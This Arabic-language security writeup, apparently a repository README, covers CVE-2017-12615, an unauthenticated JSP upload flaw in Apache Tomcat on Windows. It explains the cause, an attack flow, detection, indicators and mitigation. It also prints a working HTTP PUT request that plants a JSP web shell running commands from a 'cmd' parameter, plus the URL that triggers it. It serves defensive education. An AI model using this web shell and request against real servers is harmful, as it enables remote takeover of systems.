
CVE-2017-12615 - تنفيذ التعليمات البرمجية عن بُعد في Apache Tomcat (RCE)
CVE-2017-12615 هي ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) تؤثر على Apache Tomcat 7.0.0 حتى 7.0.79 على Microsoft Windows عندما تكون طلبات HTTP PUT مفعّلة.
توجد الثغرة لأن Tomcat يعالج ملفات JSP المرفوعة بشكل غير صحيح عندما يتم تكوين DefaultServlet مع تعيين المعامل readonly إلى false. في ظل هذه الظروف، يمكن لمهاجم غير مصادَق رفع ملف JSP خبيث مباشرة إلى خادم الويب وتنفيذ كود Java تعسفي بمجرد طلب الملف المرفوع.
أصبحت هذه الثغرة واحدة من أكثر مشكلات RCE شهرة في Tomcat بسبب سهولة استغلالها ضد الخوادم غير المضبوطة بشكل صحيح.
readonly="false" على DefaultServlet| المقياس | القيمة |
|---|---|
| CVE | CVE-2017-12615 |
| CVSS v3 | 8.1 (عالية) |
| متجه الهجوم | الشبكة |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| التأثير | تنفيذ التعليمات البرمجية عن بُعد |
في الوضع الطبيعي، يمنع Apache Tomcat المستخدمين من رفع ملفات JSP القابلة للتنفيذ.
ومع ذلك، عندما:
readonly=false)يمكن للمهاجم رفع ملف JSP مباشرة إلى جذر الويب.
وبمجرد رفع الملف، يؤدي طلب ملف JSP هذا إلى قيام Tomcat بتجميعه وتنفيذه، مما يسمح بتنفيذ كود Java تعسفي بصلاحيات خدمة Tomcat.
Attacker
│
│ HTTP PUT
▼
Uploads malicious JSP shell
│
▼
Tomcat stores file
│
│ HTTP GET
▼
Requests uploaded JSP
│
▼
Tomcat compiles JSP
│
▼
Java code executes
│
▼
Remote Code Execution
عادة ما يتبع الهجوم الخطوات التالية:
.jsp.لا يتطلب الأمر أي مصادقة إذا كان الخادم ضعيفًا.
مثال على طلب HTTP PUT:
PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream
<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
إذا نجح الطلب، يستجيب الخادم بما يلي:
HTTP/1.1 201 Created
يمكن بعد ذلك تنفيذ الحمولة عبر زيارة:
http://victim.com/shell.jsp?cmd=whoami
طريقة بسيطة لتحديد الأنظمة الضعيفة هي محاولة رفع ملف JSP اختباري غير ضار:
PUT /test.jsp
الاستجابات المحتملة تشمل:
201 Created
أو
204 No Content
إذا كان من الممكن استرداد الملف المرفوع لاحقًا عبر HTTP، فمن المرجح أن الخادم ضعيف.
الاستغلال الناجح يسمح للمهاجم بـ:
يجب على فرق الأمن التحقق من:
.jsp منشأة حديثًاتشمل إجراءات التخفيف الموصى بها:
readonly="true".| الخاصية | القيمة |
|---|---|
| الثغرة | رفع ملف JSP تعسفي |
| CWE | CWE-434 - رفع غير مقيد لملف بنوع خطير |
| المصادقة المطلوبة | لا |
| تعقيد الاستغلال | منخفض في التكوينات الضعيفة |
| النتيجة | تنفيذ التعليمات البرمجية عن بُعد |
| المنصة | Windows |
| الخدمة | Apache Tomcat |
هذا المستودع مخصص حصريًا للأغراض التعليمية وبحوث الأمن الدفاعي واختبار الاختراق المصرح به. لا تستخدم هذه المعلومات ضد أي أنظمة دون إذن صريح.